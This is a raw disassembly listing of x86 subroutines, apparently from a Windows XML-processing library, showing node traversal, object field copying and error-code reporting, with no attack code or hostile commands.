loc_69B8C063: ; CODE XREF: sub_69B8BF13+ADj
lea eax, [edi+0Ch]
lea ecx, [esi+0Ch]
push eax
call sub_69B8ACCF
add edi, 1Ch
lea ecx, [esi+1Ch]
push edi
call sub_69B8AD6D
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 4
sub_69B8BF13 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8C084 proc near ; CODE XREF: sub_69B8C321+57p
; sub_69B8C4AA+66p
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
mov esi, [ebp+arg_0]
mov eax, [esi]
push edi
mov edi, ecx
mov ecx, esi
mov [ebp+var_4], edi
call dword ptr [eax+44h]
xor ebx, ebx
sub eax, ebx
jz short loc_69B8C114
dec eax
jz short loc_69B8C0F8
dec eax
jz short loc_69B8C0C5
sub eax, 3
jz short loc_69B8C0C5
dec eax
jz short loc_69B8C0F8
sub eax, 5
jz short loc_69B8C0CC
mov eax, 0C00CE014h
loc_69B8C0BA: ; CODE XREF: sub_69B8C084+72j
push ebx
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B8C0C5: ; CODE XREF: sub_69B8C084+22j
; sub_69B8C084+27j ...
pop edi
pop esi
pop ebx
leave
retn 10h
; ---------------------------------------------------------------------------
loc_69B8C0CC: ; CODE XREF: sub_69B8C084+2Fj
mov eax, [esi]
push ebx
mov ecx, esi
call dword ptr [eax+38h]
push eax
mov ecx, edi
call sub_69B8AFBA
cmp eax, ebx
jz short loc_69B8C0F1
push [ebp+arg_C]
mov ecx, edi
push [ebp+arg_4]
push ebx
push eax
call sub_69B8C395
jmp short loc_69B8C0C5
; ---------------------------------------------------------------------------
loc_69B8C0F1: ; CODE XREF: sub_69B8C084+5Aj
mov eax, 0C00CE002h
jmp short loc_69B8C0BA
; ---------------------------------------------------------------------------
loc_69B8C0F8: ; CODE XREF: sub_69B8C084+1Fj
; sub_69B8C084+2Aj
mov ecx, [ebp+arg_4]
cmp ecx, ebx
jz short loc_69B8C0C5
mov eax, [ecx+18h]
cmp eax, ebx
jz short loc_69B8C0C5
push 0Dh
push ebx
push ecx
mov ecx, [eax+2Ch]
call sub_69B8FACC
jmp short loc_69B8C0C5
; ---------------------------------------------------------------------------
loc_69B8C114: ; CODE XREF: sub_69B8C084+1Cj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
cmp [edi+5Ch], ebx
mov [ebp+var_8], eax
jnz loc_69B8C22C
push eax
call sub_69B48CC4
test al, al
jz short loc_69B8C1A1
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 0Fh
mov [ebp+arg_0], eax
jg short loc_69B8C144
call sub_69B2E6D8
loc_69B8C144: ; CODE XREF: sub_69B8C084+B9j
mov eax, [ebp+arg_0]
mov eax, [eax+48h]
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+0A4h]
cmp eax, ebx
jz short loc_69B8C1A1
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
push eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
push eax
call sub_69B5B9EA
push eax
lea ecx, [edi+1Ch]
mov [ebp+arg_0], eax
call sub_69B3BD1A
test eax, eax
jnz loc_69B8C22C
mov eax, [esi]
push 1
push [ebp+arg_0]
mov ecx, esi
push esi
push edi
call dword ptr [eax+0B4h]
push eax
call sub_69B5CB6E
jmp loc_69B8C22C
; ---------------------------------------------------------------------------
loc_69B8C1A1: ; CODE XREF: sub_69B8C084+ABj
; sub_69B8C084+D3j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
mov [ebp+var_10], eax
mov eax, [eax+70h]
mov [ebp+arg_0], eax
lea eax, [ebp+var_14]
push eax
mov ecx, esi
call sub_69B48F23
loc_69B8C1BF: ; CODE XREF: sub_69B8C084+1A3j
mov edi, eax
cmp edi, ebx
jz short loc_69B8C229
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+38h]
mov [ebp+var_C], eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+3Ch]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
mov eax, dword_69B95A5C
mov ecx, [ebp+var_C]
cmp eax, [ecx+10h]
jnz short loc_69B8C21C
mov eax, [edi]
push ebx
push 1
mov ecx, edi
call dword ptr [eax+4Ch]
cmp [eax+8], ebx
jz short loc_69B8C21C
mov ecx, [ebp+arg_0]
push ebx ; int
push ebx ; lpString
push eax ; int
call sub_69B4D394
mov ecx, [ebp+arg_0]
push ebx
push eax
push eax
call sub_69B4DA96
mov ecx, [ebp+var_4]
push eax
push ebx
push [ebp+var_10]
call sub_69B8BD72
loc_69B8C21C: ; CODE XREF: sub_69B8C084+164j
; sub_69B8C084+173j
lea eax, [ebp+var_14]
push eax
mov ecx, esi
call sub_69B486B5
jmp short loc_69B8C1BF
; ---------------------------------------------------------------------------
loc_69B8C229: ; CODE XREF: sub_69B8C084+13Fj
mov edi, [ebp+var_4]
loc_69B8C22C: ; CODE XREF: sub_69B8C084+9Dj
; sub_69B8C084+FBj ...
mov ecx, [ebp+arg_4]
cmp ecx, ebx
jz short loc_69B8C247
mov eax, [ecx+18h]
cmp eax, ebx
jz short loc_69B8C247
push ebx
push [ebp+var_8]
push ecx
mov ecx, [eax+2Ch]
call sub_69B8FACC
loc_69B8C247: ; CODE XREF: sub_69B8C084+1ADj
; sub_69B8C084+1B4j
push ebx
push ebx
push ebx
push ebx
push [ebp+var_8]
call sub_69B9003D
push [ebp+arg_C]
mov [ebp+arg_4], eax
push [ebp+arg_8]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
push eax
push [ebp+arg_4]
mov ecx, edi
push esi
push ebx
call sub_69B8BCA2
mov edi, [esi+8]
mov eax, [ebp+arg_4]
mov ecx, [eax+18h]
shr edi, 4
and edi, 3Fh
cmp ecx, ebx
jz short loc_69B8C2B2
push ebx
push [ebp+var_4]
push esi
call sub_69B8C997
cmp edi, 1
jg short loc_69B8C2B2
mov eax, [ebp+arg_4]
mov ecx, [eax+18h]
call sub_69B8C6AD
cmp eax, 1
jl short loc_69B8C2B2
mov eax, [ebp+arg_4]
mov ecx, [eax+18h]
call sub_69B8C6AD
mov edi, eax
loc_69B8C2B2: ; CODE XREF: sub_69B8C084+200j
; sub_69B8C084+20Fj ...
cmp edi, ebx
jle short loc_69B8C2F0
cmp edi, 2
jz short loc_69B8C2DC
cmp edi, 0Ch
jge short loc_69B8C2DC
mov eax, [ebp+arg_4]
mov eax, [eax+18h]
push ebx
push eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
push eax
push esi
push ebx
call sub_69B4E634
jmp short loc_69B8C2F0
; ---------------------------------------------------------------------------
loc_69B8C2DC: ; CODE XREF: sub_69B8C084+235j
; sub_69B8C084+23Aj
mov eax, [ebp+arg_4]
push dword ptr [eax+18h]
mov ecx, esi
push ebx
push ebx
push [ebp+arg_8]
push ebx
push edi
call sub_69B4AF3F
loc_69B8C2F0: ; CODE XREF: sub_69B8C084+230j
; sub_69B8C084+256j
mov ecx, [ebp+var_4]
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_69B8C321
test al, al
jz short loc_69B8C310
mov eax, [esi+8]
shr eax, 15h
test al, 1
jnz short loc_69B8C310
mov bl, 1
loc_69B8C310: ; CODE XREF: sub_69B8C084+27Ej
; sub_69B8C084+288j
mov ecx, [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_69B8B2D6
jmp loc_69B8C0C5
sub_69B8C084 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8C321 proc near ; CODE XREF: sub_69B8C084+277p
; sub_69B8C395+BCp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_0]
mov eax, [esi]
push edi
mov edi, ecx
mov ecx, esi
mov bl, 1
call dword ptr [eax+118h]
test al, al
jz short loc_69B8C35B
mov ecx, [ebp+arg_4]
test ecx, ecx
jz short loc_69B8C357
mov eax, [ecx+18h]
test eax, eax
jz short loc_69B8C357
push 0Dh
push 0
push ecx
mov ecx, [eax+2Ch]
call sub_69B8FACC
loc_69B8C357: ; CODE XREF: sub_69B8C321+20j
; sub_69B8C321+27j
xor bl, bl
jmp short loc_69B8C38C
; ---------------------------------------------------------------------------
loc_69B8C35B: ; CODE XREF: sub_69B8C321+19j
lea eax, [ebp+arg_0]
push eax
mov ecx, esi
call sub_69B49F0B
test eax, eax
jz short loc_69B8C38C
xor bl, bl
loc_69B8C36C: ; CODE XREF: sub_69B8C321+69j
push [ebp+arg_C]
mov ecx, edi
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_69B8C084
lea eax, [ebp+arg_0]
push eax
mov ecx, esi
call sub_69B47DCC
test eax, eax
jnz short loc_69B8C36C
loc_69B8C38C: ; CODE XREF: sub_69B8C321+38j
; sub_69B8C321+47j
pop edi
pop esi
mov al, bl
pop ebx
pop ebp
retn 10h
sub_69B8C321 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8C395 proc near ; CODE XREF: sub_69B8C084+66p
; sub_69B8C45B+44p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp byte ptr [ebp+arg_4], bl
push edi
mov edi, ecx
jz loc_69B8C43B
push esi
mov esi, [ebp+arg_0]
mov ecx, [esi+18h]
cmp ecx, ebx
jz short loc_69B8C424
push ebx
push 3Ch
call sub_69B2EE9A
test eax, eax
jl short loc_69B8C3D7
mov edi, 0C00CE506h
loc_69B8C3C3: ; CODE XREF: sub_69B8C395+A4j
push 0
push ebx
push edi
push edi
call sub_69B2E9D0
add esp, 10h
loc_69B8C3D0: ; CODE XREF: sub_69B8C395+8Dj
pop esi
loc_69B8C3D1: ; CODE XREF: sub_69B8C395+C1j
pop edi
pop ebx
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_69B8C3D7: ; CODE XREF: sub_69B8C395+27j
push dword ptr [edi+34h]
mov ecx, esi
call sub_69B8C56F
mov ebx, eax
lea eax, [ebp+arg_0]
push eax
mov ecx, ebx
call sub_69B49F0B
jmp short loc_69B8C41C
; ---------------------------------------------------------------------------
loc_69B8C3F0: ; CODE XREF: sub_69B8C395+8Bj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
cmp eax, 0Bh
jnz short loc_69B8C411
push [ebp+arg_4]
mov eax, [esi]
push [ebp+arg_8]
mov ecx, esi
call dword ptr [eax+38h]
push eax
mov ecx, edi
call sub_69B8C45B
loc_69B8C411: ; CODE XREF: sub_69B8C395+65j
lea eax, [ebp+arg_0]
push eax
mov ecx, ebx
call sub_69B47DCC
loc_69B8C41C: ; CODE XREF: sub_69B8C395+59j
mov esi, eax
test esi, esi
jnz short loc_69B8C3F0
jmp short loc_69B8C3D0
; ---------------------------------------------------------------------------
loc_69B8C424: ; CODE XREF: sub_69B8C395+1Bj
mov eax, [esi]
mov ecx, esi
mov edi, 0C00CE007h
call dword ptr [eax+3Ch]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
mov ebx, eax
jmp short loc_69B8C3C3
; ---------------------------------------------------------------------------
loc_69B8C43B: ; CODE XREF: sub_69B8C395+Cj
push dword ptr [edi+34h]
mov ecx, [ebp+arg_0]
call sub_69B8C56F
push [ebp+arg_C]
mov ecx, edi
push 1
push [ebp+arg_8]
push eax
call sub_69B8C321
jmp loc_69B8C3D1
sub_69B8C395 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8C45B proc near ; CODE XREF: sub_69B4F53C+45p
; sub_69B4FDBC+FAp ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0
push [ebp+arg_0]
mov esi, ecx
mov [ebp+var_1], 0
call sub_69B8AFBA
push [ebp+arg_8]
mov edi, eax
push [ebp+arg_0]
mov ecx, esi
push edi
call sub_69B8B4A5
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_69B8C48E
cmp dword ptr [eax+18h], 0
jnz short loc_69B8C494
loc_69B8C48E: ; CODE XREF: sub_69B8C45B+2Bj
cmp byte ptr [ebp+arg_8], 0
jz short loc_69B8C4A4
loc_69B8C494: ; CODE XREF: sub_69B8C45B+31j
lea ecx, [ebp+var_1]
push ecx
push eax
push [ebp+arg_8]
mov ecx, esi
push edi
call sub_69B8C395
loc_69B8C4A4: ; CODE XREF: sub_69B8C45B+37j
pop edi
pop esi
leave
retn 0Ch
sub_69B8C45B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8C4AA proc near ; CODE XREF: sub_69B58E4C+EAp
var_8 = dword ptr -8
var_1 = byte ptr -1
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov edi, [esi+34h]
mov ebx, [edi+68h]
mov ecx, edi
mov [ebp+var_1], 0
call sub_69B3D6C4
mov [ebp+var_8], eax
push 0
lea eax, [esi+54h]
push eax
call sub_69B17320
cmp dword ptr [esi+5Ch], 0
jnz short loc_69B8C4F3
test ebx, ebx
jz short loc_69B8C503
push edi
mov byte ptr [esi+2Fh], 1
mov eax, dword_69B95A18
push eax
push eax
push ebx
mov ecx, esi
call sub_69B8BBC2
jmp short loc_69B8C503
; ---------------------------------------------------------------------------
loc_69B8C4F3: ; CODE XREF: sub_69B8C4AA+2Dj
mov ecx, [ebp+var_8]
mov eax, [ecx]
call dword ptr [eax+3Ch]
push eax
mov ecx, esi
call sub_69B8B2A8
loc_69B8C503: ; CODE XREF: sub_69B8C4AA+31j
; sub_69B8C4AA+47j
lea eax, [ebp+var_1]
push eax
push 0
push 0
push [ebp+var_8]
mov ecx, esi
call sub_69B8C084
mov ecx, esi
call sub_69B8B602
cmp [ebp+var_1], 0
pop edi
pop esi
pop ebx
jnz short locret_69B8C536
mov eax, 0C00CE224h
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
locret_69B8C536: ; CODE XREF: sub_69B8C4AA+79j
leave
retn
sub_69B8C4AA endp
; =============== S U B R O U T I N E =======================================
sub_69B8C538 proc near ; DATA XREF: .text:69B16EDCo
mov eax, offset off_69B8C540
retn
sub_69B8C538 endp
; ---------------------------------------------------------------------------
align 10h
off_69B8C540 dd offset dword_69B18894 ; DATA XREF: sub_69B8C538o
align 8
; =============== S U B R O U T I N E =======================================
sub_69B8C548 proc near ; CODE XREF: sub_69B8E980+1F5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov [ecx+24h], eax
mov eax, [esp+arg_4]
mov [ecx+28h], eax
retn 8
sub_69B8C548 endp
; =============== S U B R O U T I N E =======================================
sub_69B8C559 proc near ; CODE XREF: sub_69B8E980+258p
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
call dword ptr [eax+0ECh]
mov [esi+2Ch], eax
pop esi
retn 4
sub_69B8C559 endp
; =============== S U B R O U T I N E =======================================
sub_69B8C56F proc near ; CODE XREF: sub_69B486D2+39p
; sub_69B4CC55+65p ...
arg_0 = dword ptr 4
push dword ptr [ecx+2Ch]
mov ecx, [esp+4+arg_0]
call sub_69B3EB79
retn 4
sub_69B8C56F endp
; =============== S U B R O U T I N E =======================================
sub_69B8C57E proc near ; CODE XREF: sub_69B8E4C4+DCp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
lea eax, [esi+0Ch]
push eax
call sub_69B17320
or dword ptr [esi+30h], 2
pop esi
retn 4
sub_69B8C57E endp
; =============== S U B R O U T I N E =======================================
sub_69B8C596 proc near ; DATA XREF: .text:69B16EF8o
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
lea eax, [esi+18h]
push eax
call sub_69B17320
and dword ptr [esi+30h], 0FFFFFFFDh
pop esi
retn 4
sub_69B8C596 endp
; =============== S U B R O U T I N E =======================================
sub_69B8C5AE proc near ; DATA XREF: .text:69B16EF4o
push esi
push edi
mov esi, ecx
xor edi, edi
push edi
lea eax, [esi+8]
push eax
call sub_69B17320
push edi
lea eax, [esi+0Ch]
push eax
call sub_69B17320
push edi
lea eax, [esi+14h]
push eax
call sub_69B17320
push edi
lea eax, [esi+18h]
push eax
call sub_69B17320
push edi
lea eax, [esi+20h]
push eax
call sub_69B17320
pop edi
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B8C5AE endp
; =============== S U B R O U T I N E =======================================
sub_69B8C5EF proc near ; DATA XREF: .text:69B16ECCo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B8C60A
test [esp+4+arg_0], 1
jz short loc_69B8C604
push esi
call sub_69B1829F
loc_69B8C604: ; CODE XREF: sub_69B8C5EF+Dj
mov eax, esi
pop esi
retn 4
sub_69B8C5EF endp
; =============== S U B R O U T I N E =======================================
sub_69B8C60A proc near ; CODE XREF: sub_69B8C5EF+3p
push esi
mov esi, ecx
lea eax, [esi+20h]
push eax
call sub_69B17230
lea eax, [esi+18h]
push eax
call sub_69B17230
lea eax, [esi+14h]
push eax
call sub_69B17230
lea eax, [esi+10h]
push eax
call sub_69B17230
lea eax, [esi+0Ch]
push eax
call sub_69B17230
lea eax, [esi+8]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B8C60A endp
; =============== S U B R O U T I N E =======================================
sub_69B8C64B proc near ; DATA XREF: .text:69B14948o
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
test eax, eax
jz short loc_69B8C66B
movzx edx, [esp+arg_4]
push esi
mov esi, [eax+8]
and esi, 7FFFFFFFh
shl edx, 1Fh
or edx, esi
mov [eax+8], edx
pop esi
loc_69B8C66B: ; CODE XREF: sub_69B8C64B+6j
push eax
add ecx, 10h
push ecx
call sub_69B17320
retn 8
sub_69B8C64B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8C678 proc near ; CODE XREF: sub_69B4936A+49p
; sub_69B5C433+26p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ecx+30h]
test eax, eax
jz short loc_69B8C6A7
push eax
lea ecx, [ebp+var_8]
call sub_69B8A0E9
mov ecx, [ebp+var_8]
jmp short loc_69B8C6A2
; ---------------------------------------------------------------------------
loc_69B8C692: ; CODE XREF: sub_69B8C678+2Dj
mov eax, [ecx]
mov edx, [eax+8]
cmp edx, [ebp+arg_0]
jz short locret_69B8C6A9
add ecx, 4
mov [ebp+var_8], ecx
loc_69B8C6A2: ; CODE XREF: sub_69B8C678+18j
cmp ecx, [ebp+var_4]
jb short loc_69B8C692
loc_69B8C6A7: ; CODE XREF: sub_69B8C678+Aj
xor eax, eax
locret_69B8C6A9: ; CODE XREF: sub_69B8C678+22j
leave
retn 4
sub_69B8C678 endp
; =============== S U B R O U T I N E =======================================
sub_69B8C6AD proc near ; CODE XREF: sub_69B4B0C7+238p
; sub_69B4B0C7+2A3p ...
push esi
mov esi, ecx
cmp dword ptr [esi+18h], 0
jnz short loc_69B8C6D9
push edi
mov edi, [esi+10h]
test edi, edi
jz short loc_69B8C6D8
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0B8h]
test al, al
jz short loc_69B8C6D8
mov eax, [edi+8]
shr eax, 4
and eax, 3Fh
mov [esi+18h], eax
loc_69B8C6D8: ; CODE XREF: sub_69B8C6AD+Fj
; sub_69B8C6AD+1Dj
pop edi
loc_69B8C6D9: ; CODE XREF: sub_69B8C6AD+7j
mov eax, [esi+18h]
pop esi
retn
sub_69B8C6AD endp
; =============== S U B R O U T I N E =======================================
sub_69B8C6DE proc near ; CODE XREF: sub_69B4E634+13Dp
; sub_69B4E634+1B5p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
call sub_69B8C6AD
cmp eax, 9
jz short loc_69B8C6F7
mov ecx, esi
call sub_69B8C6AD
cmp eax, 0Ah
jnz short loc_69B8C724
loc_69B8C6F7: ; CODE XREF: sub_69B8C6DE+Bj
mov ecx, [esi+20h]
test ecx, ecx
jz short loc_69B8C70B
push [esp+4+arg_0]
call sub_69B677BA
test al, al
jnz short loc_69B8C724
loc_69B8C70B: ; CODE XREF: sub_69B8C6DE+1Ej
push 0
mov ecx, esi
call sub_69B8AFA4
push eax
mov eax, 0C00CE017h
push eax
push eax
call sub_69B2E9D0
add esp, 10h
loc_69B8C724: ; CODE XREF: sub_69B8C6DE+17j
; sub_69B8C6DE+2Bj
pop esi
retn 4
sub_69B8C6DE endp
; =============== S U B R O U T I N E =======================================
sub_69B8C728 proc near ; CODE XREF: sub_69B8CAFC+3p
; sub_69B8CC0C+18j ...
push esi
mov esi, ecx
lea eax, [esi+20h]
push eax
mov dword ptr [esi], offset off_69B148D0
call sub_69B17230
lea eax, [esi+1Ch]
push eax
call sub_69B17230
lea eax, [esi+0Ch]
push eax
call sub_69B17230
lea eax, [esi+8]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B8C728 endp
; =============== S U B R O U T I N E =======================================
sub_69B8C75D proc near ; DATA XREF: .text:69B14908o
; .text:69B14988o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov [ecx+10h], eax
retn 8
sub_69B8C75D endp
; =============== S U B R O U T I N E =======================================
sub_69B8C767 proc near ; CODE XREF: sub_69B8CB9A+1Cj
; sub_69B8CDA1+11j
; DATA XREF: ...
push esi
push edi
mov esi, ecx
xor edi, edi
push edi
lea eax, [esi+8]
push eax
call sub_69B17320
push edi
lea eax, [esi+0Ch]
push eax
call sub_69B17320
mov eax, [esi]
push 1
push edi
mov ecx, esi
call dword ptr [eax+38h]
push edi
lea eax, [esi+1Ch]
push eax
mov [esi+14h], edi
call sub_69B17320
push edi
add esi, 20h
push esi
call sub_69B17320
pop edi
pop esi
retn
sub_69B8C767 endp
; =============== S U B R O U T I N E =======================================
sub_69B8C7A5 proc near ; CODE XREF: sub_69B5B197+45p
; sub_69B8CAAF+33p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
mov esi, ecx
lea eax, [esi+8]
jz short loc_69B8C7C0
push dword ptr [edi+8]
push eax
call sub_69B17320
push edi
jmp short loc_69B8C7CA
; ---------------------------------------------------------------------------
loc_69B8C7C0: ; CODE XREF: sub_69B8C7A5+Dj
push 0
push eax
call sub_69B17320
push 0
loc_69B8C7CA: ; CODE XREF: sub_69B8C7A5+19j
add esi, 0Ch
push esi
call sub_69B17320
pop edi
pop esi
retn 4
sub_69B8C7A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8C7D8 proc near ; CODE XREF: sub_69B8C881+15p
; sub_69B8CF73+12p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
mov cl, [eax]
mov eax, [eax+4]
push ebx
mov ebx, [eax+70h]
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
lea eax, [esi+8]
mov byte ptr [ebp+arg_8+3], cl
push eax
lea ecx, [edi+8]
call sub_69B4D414
mov eax, [esi+0Ch]
test eax, eax
jz short loc_69B8C817
push eax
mov ecx, ebx
call sub_69B48821
push eax
lea eax, [edi+0Ch]
push eax
call sub_69B17320
loc_69B8C817: ; CODE XREF: sub_69B8C7D8+2Bj
mov ecx, esi
call sub_69B8C6AD
cmp byte ptr [ebp+arg_8+3], 0
mov [edi+18h], eax
mov eax, [esi+14h]
mov [edi+14h], eax
jz short loc_69B8C837
push dword ptr [esi+1Ch]
call sub_69B2F0C4
jmp short loc_69B8C83A
; ---------------------------------------------------------------------------
loc_69B8C837: ; CODE XREF: sub_69B8C7D8+53j
mov eax, [esi+1Ch]
loc_69B8C83A: ; CODE XREF: sub_69B8C7D8+5Dj
push eax
lea eax, [edi+1Ch]
push eax
call sub_69B17320
cmp byte ptr [ebp+arg_8+3], 0
jz short loc_69B8C862
mov ecx, [esi+20h]
test ecx, ecx
jz short loc_69B8C862
mov eax, [ecx]
call dword ptr [eax+28h]
push eax
lea eax, [edi+20h]
push eax
call sub_69B17320
jmp short loc_69B8C86E
; ---------------------------------------------------------------------------
loc_69B8C862: ; CODE XREF: sub_69B8C7D8+70j
; sub_69B8C7D8+77j
lea eax, [esi+20h]
push eax
lea ecx, [edi+20h]
call sub_69B4D414
loc_69B8C86E: ; CODE XREF: sub_69B8C7D8+88j
mov eax, [esi+24h]
mov [edi+24h], eax
mov eax, [esi+28h]
mov [edi+28h], eax
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_69B8C7D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8C881 proc near ; CODE XREF: sub_69B8CC29+27p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, [ebp+arg_8]
push esi
mov esi, [ebp+arg_4]
push edi
mov edi, [ebp+arg_0]
push ebx
push esi
push edi
call sub_69B8C7D8
mov eax, [ebx+4]
mov ecx, [ebx+8]
mov bl, [ebx]
test bl, bl
mov [ebp+arg_4], eax
mov eax, [eax+70h]
mov [ebp+arg_0], eax
mov eax, [edi+38h]
mov [esi+38h], eax
mov al, [edi+34h]
mov [ebp+var_4], ecx
mov [esi+34h], al
jz short loc_69B8C8D3
mov ecx, [edi+2Ch]
call sub_69B8F83D
push eax
lea eax, [esi+2Ch]
push eax
call sub_69B17320
jmp short loc_69B8C8DF
; ---------------------------------------------------------------------------
loc_69B8C8D3: ; CODE XREF: sub_69B8C881+3Cj
lea eax, [edi+2Ch]
push eax
lea ecx, [esi+2Ch]
call sub_69B4D414
loc_69B8C8DF: ; CODE XREF: sub_69B8C881+50j
mov ebx, [edi+10h]
test ebx, ebx
jz short loc_69B8C91F
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+3Ch]
mov ecx, [ebp+arg_0]
push eax
call sub_69B48821
movzx ebx, byte ptr [ebx+0Bh]
mov ecx, [ebp+arg_4]
mov [ebp+arg_0], eax
and ebx, 1Fh
call sub_69B3D200
push eax
push [ebp+arg_4]
push [ebp+arg_0]
push ebx
call sub_69B1BE7F
mov edx, [esi]
push 1
push eax
mov ecx, esi
call dword ptr [edx+38h]
loc_69B8C91F: ; CODE XREF: sub_69B8C881+63j
cmp dword ptr [edi+30h], 0
jz short loc_69B8C984
call sub_69B1D7F6
push eax
lea ebx, [esi+30h]
push ebx
call sub_69B17320
push dword ptr [edi+30h]
lea ecx, [ebp+var_C]
call sub_69B8A0E9
mov eax, [ebp+var_C]
jmp short loc_69B8C97F
; ---------------------------------------------------------------------------
loc_69B8C944: ; CODE XREF: sub_69B8C881+101j
mov eax, [eax]
push [ebp+arg_8]
mov [ebp+arg_4], eax
lea eax, [ebp+arg_4]
push eax
push 0
push 0
call sub_69B8D097
mov edi, [ebp+arg_4]
mov ecx, [ebx]
push edi
call sub_69B8A35C
mov eax, [edi+10h]
test eax, eax
jz short loc_69B8C976
mov ecx, [esi+10h]
push 0
push eax
call sub_69B499AC
loc_69B8C976: ; CODE XREF: sub_69B8C881+E8j
mov eax, [ebp+var_C]
add eax, 4
mov [ebp+var_C], eax
loc_69B8C97F: ; CODE XREF: sub_69B8C881+C1j
cmp eax, [ebp+var_8]
jb short loc_69B8C944
loc_69B8C984: ; CODE XREF: sub_69B8C881+A2j
push dword ptr [esi+8]
mov ecx, [ebp+var_4]
push esi
call sub_69B8B4EF
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B8C881 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8C997 proc near ; CODE XREF: sub_69B8C084+207p
; sub_69B8D4D5+70p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ecx+30h]
test eax, eax
jz locret_69B8CA63
push eax
lea ecx, [ebp+var_8]
call sub_69B8A0E9
mov eax, [ebp+var_8]
cmp eax, [ebp+var_4]
jnb locret_69B8CA63
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
loc_69B8C9C2: ; CODE XREF: sub_69B8C997+C3j
mov esi, [eax]
cmp byte ptr [esi+30h], 1
mov eax, [esi+8]
setz bl
test bl, bl
jnz short loc_69B8C9D8
cmp dword ptr [esi+2Ch], 0
jz short loc_69B8CA4E
loc_69B8C9D8: ; CODE XREF: sub_69B8C997+39j
mov ecx, [ebp+arg_0]
push 0
push 0Fh
push eax
call sub_69B49C1F
test eax, eax
jnz short loc_69B8CA4E
test bl, bl
jz short loc_69B8CA08
mov ecx, [esi+8]
push eax
mov eax, [ecx]
call dword ptr [eax+2Ch]
push eax
mov eax, 0C00CE020h
push eax
push eax
call sub_69B2E9D0
add esp, 10h
jmp short loc_69B8CA4E
; ---------------------------------------------------------------------------
